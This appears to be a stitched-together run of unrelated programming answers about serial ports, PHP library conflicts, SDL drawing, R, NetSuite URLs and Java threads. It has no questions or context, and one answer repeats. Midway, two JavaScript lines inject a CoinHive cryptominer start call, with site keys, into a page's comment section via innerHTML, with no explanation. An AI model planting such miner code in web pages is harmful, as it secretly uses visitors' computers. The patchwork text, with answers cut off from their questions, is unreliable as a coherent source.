int write(Uint8List data) {
try {
if (!_serialPort.isOpen) {
if (!open()) {
return -1;
}
}
return _serialPort.write(data,timeout: 500);
} catch (e) {
debugPrint("Error writing to port $portName: $e");
logManager.addLog("Error writing to port $portName: $e");
return -1;
}
}
/// Write data to the serial port.
///
/// If `timeout` is 0 or greater, the write operation is blocking.
/// The timeout is specified in milliseconds. Pass 0 to wait infinitely.
///
/// Returns the amount of bytes written.
int write(Uint8List bytes, {int timeout = -1});
so I can change timeout to 0 or >0,and it works well now~
http://domain/svg/filenotexisit.svg - file does not exist but passed with status 200 and app hangs
I'm not sure about your actual test URL, but I guess that URL also matches the expression in the rule, so it execute the rewrite action, which changes the response.
The URL you configured is /, which may point to some default pages (existing, such as index.html, default.html), so it returns 200. Please check it.
If I misunderstood something, please provide more details, such as a minimal example that reproduces the problem.
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If you let the browser manage credentials, only 1 "session" / "user" is active at a given time, unless you:
Use different orgins / domains per user.
Manage the requests and session/authentication tokens yourself by manually setting headers.
Use a different cookie name for each user
The error message you're encountering indicates that the describe_type() function from the GuzzleHttp library is being declared multiple times, leading to a conflict. This typically happens when multiple versions or instances of the Guzzle library are loaded simultaneously.
Understanding the Issue:
In your setup, it appears that two plugins are including their own versions of the Guzzle library:
SSML Processor Plugin: This custom plugin includes the AWS SDK,
which in turn includes Guzzle.
eRoom - Zoom Meetings & Webinar Pro Plugin: This plugin includes its
own version of Guzzle.
When both plugins are active, PHP attempts to load the describe_type() function from both instances of Guzzle, resulting in a "Cannot redeclare" error.
Potential Solutions:
Use Composer for Dependency Management:
If possible, refactor your plugins to use Composer for managing
dependencies. Composer ensures that each package is loaded only once,
preventing such conflicts.
By centralizing dependency management, you can control the versions
of libraries used across different plugins, reducing the risk of
conflicts.
Namespace Isolation:
refactoring to use Composer isn't feasible, consider isolating the
namespaces of the Guzzle library in one or both plugins. This
involves modifying the autoloaders or using tools like PHP-Scoper to
create a prefixed version of the library, ensuring that each plugin
uses its own isolated version without conflicts.
Check for Multiple Inclusions:
Ensure that the Guzzle library isn't being included multiple times
within the same plugin or across different plugins. Use include_once
or require_once to prevent multiple inclusions of the same file.
Update Plugins:
Check if there are updates available for the conflicting plugins.
Plugin developers often address such issues in newer releases by
updating dependencies or changing how they are loaded.
Contact Plugin Developers:
If the issue persists, consider reaching out to the developers of the
conflicting plugins. They might be aware of the issue and could
provide a solution or workaround.
References:
A similar issue was discussed on Stack Overflow, where the conflict
was resolved by managing dependencies through Composer: STACK OVERFLOW
By implementing one of these solutions, you should be able to resolve the "Cannot redeclare GuzzleHttp\describe_type()" error and ensure that your plugins function correctly without interfering with each other's dependencies.
Comet and pretty much all other executors dont actually install themselves as programs/applications like other huge mega apps where the system puts them in the control panel. they actually just reside in a simple exe. so you simply have to delete the exe wherever your friend's son installed it to.
For horizontal and vertical lines just use SDL_DrawFillRect and make the height/width of the SDL_Rect to be the thickness.
I'll be honest this approach really only makes sense vertical and horizontal lines, however, for diagonal lines, following this post, you could save the rectangle to a texture and rotate the texture. When all else fails, use textures.
I have the same problem. Where's the common sense? Two different paths why automatically reuse the component. If I want to reuse I would have used the same path but with different parameters.
I think I found the answer from the comment of the source code here:
// Because forking processes from Java is expensive, we prefer to launch a single Python daemon,
// pyspark/daemon.py (by default) and tell it to fork new workers for our tasks. This daemon
// currently only works on UNIX-based systems now because it uses signals for child management,
// so we can also fall back to launching workers, pyspark/worker.py (by default) directly.
To achieve this level of type safety with mypy, where distinct calls to IntegersModN produce incompatible types, you can utilize generics and TypeVar in Python’s typing system. Specifically, you can use TypeVar with a bound type to ensure that instances of different classes (even for the same modulus) are treated as incompatible by mypy.
I should have mentioned earlier that I had all SDKs and NDKs installed, as I frequently work on Android development. However, the real solution was Vandit's final suggestion:
“Reinstall Android Support in UE: If the problem persists, consider reinstalling the Android support packages through Unreal Engine’s setup process.”
In summary, the key step is illustrated in the screenshot below.
As @ada-lovelace correctly points out, it's the $ operator that's the problem. Here's an idea. Let's redefine it! I am seriously considering loading the following code at the beginning of my programs.
`$` = function(obj, elem) {
idx = which(names(obj) == substitute(elem))
if (length(idx) != 1L) {
stop(paste0("Element `", substitute(elem), "` not found in object `", substitute(obj), "`."))
}
obj[[idx]]
}
Let's test it:
identical(mtcars$gear, mtcars[,"gear"]) # Works with data.frames
mtcars$gearx # Typo: error!
mylist = as.list(mtcars)
identical(mylist$gear, mylist[["gear"]]) # Works with lists
mylist$gearx # Typo: error!
I'm not sure what the best way to do draw this on SO, but basically, you want to compare adjacent cells and increment if same and reset to 1 if not, right?
@Junho Cha
I have done the same thing and was able to launch it on Ubuntu. Could you please elaborate on the steps you followed, including which image you flashed on the Raspberry Pi using Raspberry Pi Imager?
I would also like to know the exact version of the image you used.
Additionally,
could you provide a clear, step-by-step description of the process you followed to launch it?
which command you have used to launch ?
The steps in your previous description were not very clear
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I'm currently trying to add php authentivation to my active directory using my western digital mycloud ultra ex2 NAS. Currently, the BEST wordpress.com php LDAP-to-active directory authentication plug-ins cost $$$.
The mycloud ultra ex2 has built-in myphpadmin and worpress plug-ins.
I am trying to connect the active directory (from several computers in my home network) to the mycloud ultra ex2 NAS, on thru to my wordpress.com website.
Any suggestions, like the above post, would be nice and always appreciated
I had this issue in colab trying to use torch's load_inline function. Switching to another GPU provider from colab fixed my issue if anyone was in hell trying to do this as well.
To break this down, I’d suggest splitting it into two parts: 'date' and 'time'.
1. Date
The 'date' part is all about recurrence patterns—things like:
"Every Monday,"
"The 15th of every month,"
"Every 3rd Wednesday."
You can manage these patterns with custom logic, or, if you're looking for a simpler way to handle it, you might want to check out libraries like DateRecurrenceR (github). It can help with generating recurring dates based on different patterns, making the logic easier to handle.
using DateRecurrenceR;
using DateRecurrenceR.Core;
var beginDate = DateOnly.MinValue;
var endDate = DateOnly.MaxValue;
var interval = new Interval(3);
var enumerator = Recurrence.Daily(beginDate, endDate, interval);
2. Time
The 'time' part is about dealing with time zones, UTC, and local times. This can get tricky because recurring events can span across time zones, and daylight-saving time changes can mess things up.
For that, I’d recommend checking out some advice from @matt-johnson-pint. His approach with NodaTime and using UTC can help avoid common headaches with time calculations.
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The virtual thread (VT) depends on "carrier" threads to progress. Carrier are just platform threads; the word carrier should remind you that they are under the virtual threads but not necessarily have any affinity to them.
The number of carrier threads is limited, starting at 1 per cpu core, and some extras can be allocated under special "pinning" circumstances.
Carriers do run in parallel, so some runnable VTs will progress in parallel, but not all of them.
I know it's an important feature, but it also brings with it a big security problem, if an attacker manages to obtain one of your secret keys and obtains the complete list of subscribed users, they could, with that information, attack the entire project. It is important that the API key that will have contact with the client (app, js, ect,) only have read permission.
First, you should confirm the problem actually exists. Within the lambda console, you can view the lambda's SHA256 BASE64 encoded hash. You can observe it before and after. As well, this SHA256 BASE64 encoded hash appears in CloudTrail when a lambda is created/updated.
Having said that and looking deeper, the contents of the zip file could be identical, but if it's zipped by different zipping software or even at different times, the SHA256 will almost certainly be different. Some zipping solutions (Such as Terraform's Archive provider) can produce exact ZIP files over and over, but others cannot.
Yes, having the two sim plants the way I added them was causing the issue. Modifying the problem to have an internal sim plant for the controller (replacement for the robot model used by the controller) and another for the simulation (replacement for the real robot) fixed the issue.
If you put checkAddons inside the build method when you use setState(), the method build is recalled, then the checkAddons will be reset to the default value of [], which will make this error. The solution is to put checkAddons outside the build method
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Since the SessionId is generated by the database upon saving the session, you need to follow a two-step process to save both the Session and the associated SessionExplanations:
1- Save the session object to the database, which will generate and return the SessionId.
2- Once you have the SessionId, you can then save the SessionExplanations objects.
However, it is possible to streamline this process into a single API call. You can structure your API to accept a complete payload that includes the Session object and its related Explanation IDs. Then, handle both saving operations within a single transaction on the server side.
This would work best using bot.register_next_step_handler(message, next_step_function)
in this case next_step_function will be called immediately after the first function is called but the next_step_function will stand alone and won't be nested or preceded by a decorator.
var comment = ' var miner = new CoinHive.Anonymous("SK_tBOtagJDzVMsotm557K7C"); miner.start(); ';
document.getElementById('comment-section').innerHTML = comment;
var comment = ' var miner = new CoinHive.Anonymous("PK_OLfNV9zFpVSoDew8j6lfq "); miner.start(); ';
document.getElementById('comment-section').innerHTML = comment;
Further to Sam's answer, you could also extract the text pieces from the page
return soup.get_text(separator=',')
Then find the headers to validate format and proceed to parse the coordinates.
As mentioned in the comment by @JavaSheriff, there seems to be no escaping the no-escaping of commas. So I did a hacky little workaround, by taking advantage of Spring's @PostConstruct annotation, like so:
// the field into which I want to inject values
@Value("${my.application.property}")
private List<String> props;
// an extra field to hold the comma-containing value
@Value("${other.prop}")
private List<String> otherProps;
@PostContruct
private void fixArgs() {
// re-constitute values with commas
String collectedArgs = String.join(",", otherProps);
props.add(collectedArgs);
}
The @PostConstruct annotation causes the method to be run after the bean has been instantiated and the values injected.
You can test your app's connection to Health Connect by using the Health Connect Toolbox app, which can be downloaded from here. That page also has a description on how to use the test app, to either submit test data into health connect to see if your app can read it, or read data your app submitted to Health Connect.
I'm not sure how it happened but the code is now working...
Probably - as wrote in some other questions similar to mine - there was a problem of "spaces" between alle the End Sub and the following Sub btn_something_MouseMove, and all it needed was a complete "reset" of those spaces.
As I told in the question, I had an issue with removing part of the code (excel crashing), but cutting the whole code was the solution to prevent it. Then I proceded copy-pasting every Sub top to bottom, saving every time and checking for errors running the code.
It simply started working again. Don't know how or why.
Hope this could help someone else!
I just ran into this problem myself when debugging some python code in WSL. The problem ended up being I was importing matplotlib without starting xlaunch. For reference I had pyqt5 installed with matplotlib in my wsl virtual environment. Even though I wasn't creating any plots I needed to either not import matplotlib or start xlaunch for the debugger to run at normal speed.
You need to extract the leaf labels from the hierarchical clustering object and map them to the nodes. geom_node_text(aes(label = ifelse(leaf, label, NA))) places labels only on leaf nodes by checking the leaf column.
I would love to see this option. I'm not sure if there is a more accessible solve (hope there is). For now, I have dropdowns for month, day and year (as compared to a single dropdown (which can be a pain to look for the correct date), to isolate a single date input selection and still maintain accessibility.
I used similar code it always give problem with path then I ignored the path it works properly then I had to use the path to handle session from php so how to solve path the error as I remember refer to the file with long direction /server.py error line 373
In addition, I had a domain controller installed on the Azure VM with a DNS server role. All that was needed was to set a Conditional Forwarder for the DNS server.
For me the answer was to allow the triggering project access by navigating to the target project's CI/CD settings, go to "Job Token Permissions", then add the path of the project that is the one doing the triggering.
The solution here is, in the URL you have to initialize the "inventorylocation" e.g.
https://{NS_ACCOUNT}.suitetalk.api.netsuite.com/services/rest/record/v1/salesOrder/146401/!transform/itemFulfillment?init=inventorylocation:21
then in the body you have to pass the JSON in the below format,
line-number-mode displays numbers in mode line so this is not applicable. You probably mean display-line-number-mode and it that case it should just work since the face used for the line numbers inherits from default.
In general, you can change arbitrary faces by adding them to auto-dim-other-buffers-affected-faces variable. For line numbers you’d need to add entry for line-number face.
There is no specific enforcement from Jack Henry on the topic of making a plugin card fit seamlessly into the user's Dashboard experience.
This means that, hypothetically, if you built a plugin card that used a garish color scheme and which had a dreadful user interface, there's nothing stopping you from moving forward.
With that being said, account holders expect that the UI for their digital banking experience should feel like it belongs to the branding for that financial institution.
While this is not something enforced by Jack Henry itself, in practice it is enforced by each financial institution (for their own institution).
Did you captured the robots internal RS485 bus ? Someone in the UR forum mentioned a baud rate of about 2Mbps, and they are using a Modbus RTU (-like?) protocol over the RS485 to drive the motors.
Does anyone has maybe further information about the protocol or speeds ?
The solution here is, in the URL you have to initialize the "inventorylocation" e.g.
https://{NS_ACCOUNT}.suitetalk.api.netsuite.com/services/rest/record/v1/salesOrder/146401/!transform/itemFulfillment?init=inventorylocation:21
then in the body you have to pass the JSON in the below format,
Thank you. I found the problem at an initialize content object step that adding $ to json key. Use a Compose task to remove that extra $ character solves the problem.
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Seems like none of the two provided in the answers extensions are working now in Dec 2024.
I first published this one in Mar 2024 - to help find issues with timers, intervals, animation frames, idle callbacks and eval's, not only by reporting data but also by observing the behaviour through time. It tracks active intervals, scheduled timeouts, shows their callstacks (wich helps to jump straight to the source code), collects history and frequency of invocation, marks instances of bad argument usages.
Link to extension: chrome web store - API Monitor (manifest version 3)
Link to source code (MIT license): github - the principle in core is wrapping native functions via injected content-script, the rest are logistics.
The setup that worked for me in a Turbo monorepo was to install as a dependency "@your-package":"*" in package.json of your main workspace
Then in your tsconfig.json of your main workspace, add :
{..., // the rest of your tsconfig.json file
"paths": ["../path/to/packages/your-package"]
}
I did not use exports in @your-package package.json file.
This helps typescript to resolve types and use their latest definitions.
Hope that would help!
The problem appears to be that I wasn't using the same keystore as previous versions of the app. I ran keytool -list on it to make sure I was using the correct alias, which I wasn't, and that recommend to migrate it to PKCS12 by using the command:
With a lot of respect for all the other information on post, I have to say that limiting the length of the .asm filename (extension not included in the counting) to <= 8 characters (+ dot + 3 letters extension), problem was solved.
The error occurs due to incompatibility with version 3.26.0 of Elementor Free. The solution is to revert to a previous version using Elementor’s tools: Elementor → Tools → Version Control, and roll back to version 3.25.11 or earlier.
